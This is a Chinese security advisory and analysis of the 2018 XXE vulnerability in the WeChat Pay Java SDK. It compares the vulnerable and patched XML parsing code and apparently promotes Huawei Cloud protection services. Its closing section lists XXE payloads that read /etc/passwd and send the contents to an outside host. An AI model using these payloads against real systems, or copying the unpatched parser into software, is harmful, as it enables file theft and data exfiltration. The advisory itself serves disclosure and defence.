微信支付SDK XXE漏洞简单分析
4/Jul 2018
微信支付商户端Java SDK XXE漏洞说明
0x00 漏洞影响
影响面
微信支付过程中,商家的服务器需要和微信的服务器进行通讯,需要等待微信服务器通知商家交易完成,比如流水等信息,商家提供的这样接口我们称之为微信回调接口。微信官方为了简化开发门槛,提供了JAVA和PHP的SDK。很不幸,JAVA SDK在近日曝出有重大安全问题。 因此使用了该SDK的服务器,都可能被黑客攻击,造成远程命令执行,敏感信息窃取等,此漏洞属于高危级别,请尽快修复。
修复方案
下载并使用最新的JAVA SDK。https://pay.weixin.qq.com/wiki/doc/api/download/WxPayAPI_JAVA_v3.zip
0x01 华为云配套服务
华为云Web应用防火墙
华为云WAF是客户网站和访问者之间一道安全检测卫士,它能够将恶意攻击有效的拦截在客户网站之外。华为云WAF默认支持XXE漏洞攻击的防御拦截。如果有客户来不及修复代码,升级到最新版本,请及时开启WAF防护。
漏洞扫描服务
华为漏洞扫描服务提供了该漏洞的快速一键检测功能,帮助用户检测业务是否受影响。华为云漏洞扫描服务所采用的安全测试用例都是经过精心筛选,对客户的网站和服务器都是没有攻击性。
0x02 漏洞分析
源码讲解
鉴于微信支付官方的github仓库(https://github.com/wxpay/WXPay-SDK-Java)已经删除了,:(。我们就从其他方获取到旧版本的代码,进行对比。 问题出在com.github.wxpay.sdk.WXPayUtil.java文件中,旧代码:
/**
* XML格式字符串转换为Map
*
* @param strXML XML字符串
* @return XML数据转换后的Map
* @throws Exception
*/
public static Map<String, String> xmlToMap(String strXML) throws Exception {
try {
Map<String, String> data = new HashMap<String, String>();
DocumentBuilderFactory documentBuilderFactory = DocumentBuilderFactory.newInstance();
DocumentBuilder documentBuilder = documentBuilderFactory.newDocumentBuilder();
InputStream stream = new ByteArrayInputStream(strXML.getBytes("UTF-8"));
org.w3c.dom.Document doc = documentBuilder.parse(stream);
doc.getDocumentElement().normalize();
.........
}
从代码看DocumentBuilder直接parse了外部输入的strXML。 修复后新版本的代码如下:
/**
* XML格式字符串转换为Map
*
* @param strXML XML字符串
* @return XML数据转换后的Map
* @throws Exception
*/
public static Map<String, String> xmlToMap(String strXML) throws Exception {
try {
Map<String, String> data = new HashMap<String, String>();
DocumentBuilderFactory documentBuilderFactory = DocumentBuilderFactory.newInstance();
documentBuilderFactory.setExpandEntityReferences(false);
documentBuilderFactory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true);
DocumentBuilder documentBuilder = documentBuilderFactory.newDocumentBuilder();
InputStream stream = new ByteArrayInputStream(strXML.getBytes("UTF-8"));
org.w3c.dom.Document doc = documentBuilder.parse(stream);
doc.getDocumentElement().normalize();
NodeList nodeList = doc.getDocumentElement().getChildNodes();
for (int idx = 0; idx < nodeList.getLength(); ++idx) {
Node node = nodeList.item(idx);
if (node.getNodeType() == Node.ELEMENT_NODE) {
org.w3c.dom.Element element = (org.w3c.dom.Element) node;
data.put(element.getNodeName(), element.getTextContent());
}
}
try {
stream.close();
} catch (Exception ex) {
// do nothing
}
return data;
} catch (Exception ex) {
WXPayUtil.getLogger().warn("Invalid XML, can not convert to map. Error message: {}. XML content: {}", ex.getMessage(), strXML);
throw ex;
}
}
新版代码中DocumentBuilderFactory多设置了两个属性,其中关闭实体引用和开启安全处理特性。
0x03 XXE漏洞
XXE的全称叫做XML外部实体注入攻击(XML eXternal Entity),它是利用XML允许引用外部实体的特点,将外部实体定义为敏感的文件,系统命令等高危操作,来对目标服务器进行攻击的手段。 XML外部实体的定义和使用的语法:
<!ENTITY 变量 SYSTEM "URI">
<name>&变量;</name>
当然还有一种就是应用外部的DTD,外部的DTD中定义实体
<!DOCTYPE 根元素 SYSTEM "URI">
常见攻击手段
窃取服务器文件
<!ENTITY aa SYSTEM "file:///etc/passwd">
<name>&aa;</name>
发送远程请求
<!DOCTYPE ANY [
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % send SYSTEM "http://test.com/report/%file">
%send;
]>